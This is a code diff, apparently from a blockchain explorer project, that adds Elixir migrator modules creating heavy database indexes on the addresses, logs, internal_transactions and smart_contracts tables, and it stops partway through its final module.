a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_addresses_verified_fetched_coin_balance_desc_hash_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_addresses_verified_fetched_coin_balance_desc_hash_index.ex new file mode 100644 index 000000000000..4449d18c3ea7 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_addresses_verified_fetched_coin_balance_desc_hash_index.ex @@ -0,0 +1,70 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesVerifiedFetchedCoinBalanceDescHashIndex do + @moduledoc """ + Create partial B-tree index on `addresses` table filtering by `verified=true` + and sorted by fetched_coin_balance DESC, hash ASC. + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + require Logger + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + alias Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesVerifiedTransactionsCountDescHashIndex + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :addresses + @index_name "addresses_verified_fetched_coin_balance_DESC_hash_index" + @operation_type :create + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, + do: [ + CreateAddressesVerifiedTransactionsCountDescHashIndex.migration_name() + ] + + @query_string """ + CREATE INDEX #{HeavyDbIndexOperationHelper.add_concurrently_flag?()} IF NOT EXISTS "#{@index_name}" + ON #{@table_name}(fetched_coin_balance DESC NULLS LAST, hash ASC) + WHERE verified = true; + """ + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.create_db_index(@query_string) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, @query_string) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_creation_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_create_addresses_verified_fetched_coin_balance_desc_hash_index_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_addresses_verified_hash_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_addresses_verified_hash_index.ex new file mode 100644 index 000000000000..57addb5188bd --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_addresses_verified_hash_index.ex @@ -0,0 +1,70 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesVerifiedHashIndex do + @moduledoc """ + Create partial B-tree index on `addresses` table filtering by `verified=true` + and sorted by hash ASC. + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + require Logger + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + alias Explorer.Migrator.HeavyDbIndexOperation.DropAddressesVerifiedIndex + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :addresses + @index_name "addresses_verified_hash_index" + @operation_type :create + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, + do: [ + DropAddressesVerifiedIndex.migration_name() + ] + + @query_string """ + CREATE INDEX #{HeavyDbIndexOperationHelper.add_concurrently_flag?()} IF NOT EXISTS "#{@index_name}" + ON #{@table_name}(hash ASC) + WHERE verified = true; + """ + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.create_db_index(@query_string) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, @query_string) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_creation_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_create_addresses_verified_hash_index_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_addresses_verified_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_addresses_verified_index.ex new file mode 100644 index 000000000000..1b8325dfe678 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_addresses_verified_index.ex @@ -0,0 +1,65 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesVerifiedIndex do + @moduledoc """ + Create partial B-tree index on `addresses` table filtering by `verified = true`. + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + require Logger + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :addresses + @index_name "addresses_verified_index" + @operation_type :create + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, do: [] + + @query_string """ + CREATE INDEX #{HeavyDbIndexOperationHelper.add_concurrently_flag?()} IF NOT EXISTS "#{@index_name}" + ON #{@table_name} ((1)) + WHERE verified = true; + """ + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.create_db_index(@query_string) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, @query_string) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_creation_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_create_addresses_verified_index_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_addresses_verified_transactions_count_desc_hash_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_addresses_verified_transactions_count_desc_hash_index.ex new file mode 100644 index 000000000000..b87b4dbc7cc3 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_addresses_verified_transactions_count_desc_hash_index.ex @@ -0,0 +1,70 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesVerifiedTransactionsCountDescHashIndex do + @moduledoc """ + Create partial B-tree index on `addresses` table filtering by `verified=true` + and sorted by transactions_count DESC, hash ASC. + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + require Logger + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + alias Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesVerifiedHashIndex + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :addresses + @index_name "addresses_verified_transactions_count_DESC_hash_index" + @operation_type :create + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, + do: [ + CreateAddressesVerifiedHashIndex.migration_name() + ] + + @query_string """ + CREATE INDEX #{HeavyDbIndexOperationHelper.add_concurrently_flag?()} IF NOT EXISTS "#{@index_name}" + ON #{@table_name}(transactions_count DESC NULLS LAST, hash ASC) + WHERE verified = true; + """ + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.create_db_index(@query_string) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, @query_string) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_creation_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_create_addresses_verified_transactions_count_desc_hash_index_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_arbitrum_batch_l2_blocks_unconfirmed_blocks_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_arbitrum_batch_l2_blocks_unconfirmed_blocks_index.ex new file mode 100644 index 000000000000..e1d25a93c5f2 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_arbitrum_batch_l2_blocks_unconfirmed_blocks_index.ex @@ -0,0 +1,65 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.CreateArbitrumBatchL2BlocksUnconfirmedBlocksIndex do + @moduledoc """ + Create partial B-tree index on `arbitrum_batch_l2_blocks` table filtering by `confirmation_id IS NULL`. + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + require Logger + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :arbitrum_batch_l2_blocks + @index_name "arbitrum_batch_l2_blocks_unconfirmed_blocks_index" + @operation_type :create + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, do: [] + + @query_string """ + CREATE INDEX #{HeavyDbIndexOperationHelper.add_concurrently_flag?()} IF NOT EXISTS #{@index_name} + ON #{@table_name} (confirmation_id, block_number DESC) + WHERE confirmation_id IS NULL; + """ + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.create_db_index(@query_string) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, @query_string) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_creation_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_create_arbitrum_batch_l2_blocks_unconfirmed_blocks_index_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_internal_transactions_block_hash_transaction_index_index_unique_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_internal_transactions_block_hash_transaction_index_index_unique_index.ex new file mode 100644 index 000000000000..ad5b3fff3719 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_internal_transactions_block_hash_transaction_index_index_unique_index.ex @@ -0,0 +1,61 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.CreateInternalTransactionsBlockHashTransactionIndexIndexUniqueIndex do + @moduledoc """ + Create unique B-tree index `internal_transactions_block_hash_transaction_index_index_index` on `internal_transactions` table for (`block_hash`, `transaction_index`, `index`) columns. + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + require Logger + + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus, ReindexDuplicatedInternalTransactions} + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :internal_transactions + @index_name "internal_transactions_block_hash_transaction_index_index_index" + @operation_type :create + @table_columns ["block_hash", "transaction_index", "index"] + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, + do: [ + ReindexDuplicatedInternalTransactions.migration_name() + ] + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.create_db_index(@index_name, @table_name, @table_columns, true) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + operation = HeavyDbIndexOperationHelper.create_index_query_string(@index_name, @table_name, @table_columns, true) + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, operation) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_creation_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache, do: :ok +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_internal_transactions_block_number_desc_block_index_desc_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_internal_transactions_block_number_desc_block_index_desc_index.ex new file mode 100644 index 000000000000..9b7654ed5b1f --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_internal_transactions_block_number_desc_block_index_desc_index.ex @@ -0,0 +1,67 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.CreateInternalTransactionsBlockNumberDescTransactionIndexDescIndexDescIndex do + @moduledoc """ + Create B-tree index `internal_transactions_block_number_DESC_transaction_index_DESC_index_DESC_index` on `internal_transactions` table for (`block_number` DESC, `transaction_index` DESC, `index` DESC) columns. + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + require Logger + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + alias Explorer.Migrator.HeavyDbIndexOperation.DropInternalTransactionsFromAddressHashIndex + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :internal_transactions + @index_name "internal_transactions_block_number_DESC_transaction_index_DESC_index_DESC_index" + @operation_type :create + @table_columns ["block_number DESC", "transaction_index DESC", "index DESC"] + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, + do: [ + DropInternalTransactionsFromAddressHashIndex.migration_name() + ] + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.create_db_index(@index_name, @table_name, @table_columns) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + operation = HeavyDbIndexOperationHelper.create_index_query_string(@index_name, @table_name, @table_columns) + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, operation) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_creation_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_create_internal_transactions_block_number_desc_transaction_index_desc_index_desc_index_finished( + true + ) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_logs_address_hash_block_number_desc_index_desc_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_logs_address_hash_block_number_desc_index_desc_index.ex new file mode 100644 index 000000000000..6dae3af18d79 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_logs_address_hash_block_number_desc_index_desc_index.ex @@ -0,0 +1,71 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.CreateLogsAddressHashBlockNumberDescIndexDescIndex do + @moduledoc """ + Create B-tree index `logs_address_hash_block_number_DESC_index_DESC_index` on `logs` table for (`address_hash`, `block_number DESC`, `index DESC`) columns. + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + require Logger + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + + alias Explorer.Migrator.HeavyDbIndexOperation.{ + CreateLogsBlockHashIndex, + DropLogsBlockNumberAscIndexAscIndex + } + + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :logs + @index_name "logs_address_hash_block_number_DESC_index_DESC_index" + @operation_type :create + @table_columns ["address_hash", "block_number DESC", "index DESC"] + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, + do: [ + DropLogsBlockNumberAscIndexAscIndex.migration_name(), + CreateLogsBlockHashIndex.migration_name() + ] + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.create_db_index(@index_name, @table_name, @table_columns) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + operation = HeavyDbIndexOperationHelper.create_index_query_string(@index_name, @table_name, @table_columns) + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, operation) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_creation_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_create_logs_address_hash_block_number_desc_index_desc_index_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_logs_address_hash_first_topic_block_number_index_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_logs_address_hash_first_topic_block_number_index_index.ex new file mode 100644 index 000000000000..2842faca9a73 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_logs_address_hash_first_topic_block_number_index_index.ex @@ -0,0 +1,79 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.CreateLogsAddressHashFirstTopicBlockNumberIndexIndex do + @moduledoc """ + Create B-tree index `logs_address_hash_first_topic_block_number_index_index` on `logs` table for (`address_hash`, `first_topic`, `block_number`, `index`) columns. + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + require Logger + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + + alias Explorer.Migrator.HeavyDbIndexOperation.{ + CreateLogsAddressHashBlockNumberDescIndexDescIndex, + CreateLogsBlockHashIndex, + DropLogsAddressHashIndex, + DropLogsAddressHashTransactionHashIndex, + DropLogsBlockNumberAscIndexAscIndex, + DropLogsIndexIndex + } + + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :logs + @index_name "logs_address_hash_first_topic_block_number_index_index" + @operation_type :create + @table_columns ["address_hash", "first_topic", "block_number", "index"] + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, + do: [ + DropLogsBlockNumberAscIndexAscIndex.migration_name(), + CreateLogsBlockHashIndex.migration_name(), + CreateLogsAddressHashBlockNumberDescIndexDescIndex.migration_name(), + DropLogsAddressHashIndex.migration_name(), + DropLogsAddressHashTransactionHashIndex.migration_name(), + DropLogsIndexIndex.migration_name() + ] + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.create_db_index(@index_name, @table_name, @table_columns) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + operation = HeavyDbIndexOperationHelper.create_index_query_string(@index_name, @table_name, @table_columns) + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, operation) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_creation_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_create_logs_address_hash_first_topic_block_number_index_index_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_logs_block_hash_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_logs_block_hash_index.ex new file mode 100644 index 000000000000..5242457ff8d1 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_logs_block_hash_index.ex @@ -0,0 +1,66 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.CreateLogsBlockHashIndex do + @moduledoc """ + Create B-tree index on `logs` table for `block_hash` column. + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + require Logger + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + alias Explorer.Migrator.HeavyDbIndexOperation.DropLogsBlockNumberAscIndexAscIndex + + @table_name :logs + @index_name "logs_block_hash_index" + @operation_type :create + @table_columns ["block_hash"] + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, + do: [ + DropLogsBlockNumberAscIndexAscIndex.migration_name() + ] + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.create_db_index(@index_name, @table_name, @table_columns) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + operation = HeavyDbIndexOperationHelper.create_index_query_string(@index_name, @table_name, @table_columns) + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, operation) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_creation_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_create_logs_block_hash_index_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_logs_deposits_withdrawals_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_logs_deposits_withdrawals_index.ex new file mode 100644 index 000000000000..bf94d4f8840d --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_logs_deposits_withdrawals_index.ex @@ -0,0 +1,69 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.CreateLogsDepositsWithdrawalsIndex do + @moduledoc """ + Create partial B-tree index `logs_deposits_withdrawals_index` on `logs` table for (`transaction_hash`, `block_hash`, `index`, `address_hash`) columns, filtered by first_topic IN + ('\\xe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c', + '\\x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65') + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + require Logger + + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.{HeavyDbIndexOperation, MigrationStatus} + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :logs + @index_name "logs_deposits_withdrawals_index" + @operation_type :create + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, do: [] + + @query_string """ + CREATE INDEX #{HeavyDbIndexOperationHelper.add_concurrently_flag?()} IF NOT EXISTS "#{@index_name}" + ON #{@table_name} (transaction_hash, block_hash, index, address_hash) where first_topic IN + ('\\xe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c', + '\\x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65'); + + """ + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.create_db_index(@query_string) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, @query_string) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_creation_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache do + BackgroundMigrations.set_heavy_indexes_create_logs_deposits_withdrawals_index_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_smart_contract_additional_sources_unique_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_smart_contract_additional_sources_unique_index.ex new file mode 100644 index 000000000000..563679f68cbf --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_smart_contract_additional_sources_unique_index.ex @@ -0,0 +1,67 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.CreateSmartContractAdditionalSourcesUniqueIndex do + @moduledoc """ + Creates a unique index on the smart_contract_additional_sources table. + """ + + use Explorer.Migrator.HeavyDbIndexOperation + + require Logger + + alias Explorer.Migrator.{ + HeavyDbIndexOperation, + MigrationStatus, + SanitizeDuplicateSmartContractAdditionalSources + } + + alias Explorer.Migrator.HeavyDbIndexOperation.Helper, as: HeavyDbIndexOperationHelper + + @table_name :smart_contracts_additional_sources + @index_name "smart_contracts_additional_sources_file_name_address_hash_index" + @operation_type :create + + @impl HeavyDbIndexOperation + def table_name, do: @table_name + + @impl HeavyDbIndexOperation + def operation_type, do: @operation_type + + @impl HeavyDbIndexOperation + def index_name, do: @index_name + + @impl HeavyDbIndexOperation + def dependent_from_migrations, + do: [SanitizeDuplicateSmartContractAdditionalSources.migration_name()] + + @query_string """ + CREATE UNIQUE INDEX #{HeavyDbIndexOperationHelper.add_concurrently_flag?()} IF NOT EXISTS "#{@index_name}" + ON #{@table_name} (address_hash, file_name); + """ + + @impl HeavyDbIndexOperation + def db_index_operation do + HeavyDbIndexOperationHelper.create_db_index(@query_string) + end + + @impl HeavyDbIndexOperation + def check_db_index_operation_progress do + HeavyDbIndexOperationHelper.check_db_index_operation_progress(@index_name, @query_string) + end + + @impl HeavyDbIndexOperation + def db_index_operation_status do + HeavyDbIndexOperationHelper.db_index_creation_status(@index_name) + end + + @impl HeavyDbIndexOperation + def restart_db_index_operation do + HeavyDbIndexOperationHelper.safely_drop_db_index(@index_name) + end + + @impl HeavyDbIndexOperation + def running_other_heavy_migration_exists?(migration_name) do + MigrationStatus.running_other_heavy_migration_for_table_exists?(@table_name, migration_name) + end + + @impl HeavyDbIndexOperation + def update_cache, do: :ok +end diff --git a/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_smart_contracts_language_index.ex b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_smart_contracts_language_index.ex new file mode 100644 index 000000000000..4f1bfad09172 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/heavy_db_index_operation/create_smart_contracts_language_index.ex @@ -0,0 +1,62 @@ +defmodule Explorer.Migrator.HeavyDbIndexOperation.CreateSmartContractsLanguageIndex do + @moduledoc """ + Create B-tree index `smart_contracts_language_index` on `smart_contracts` + table for the `language` column. + """ + + use 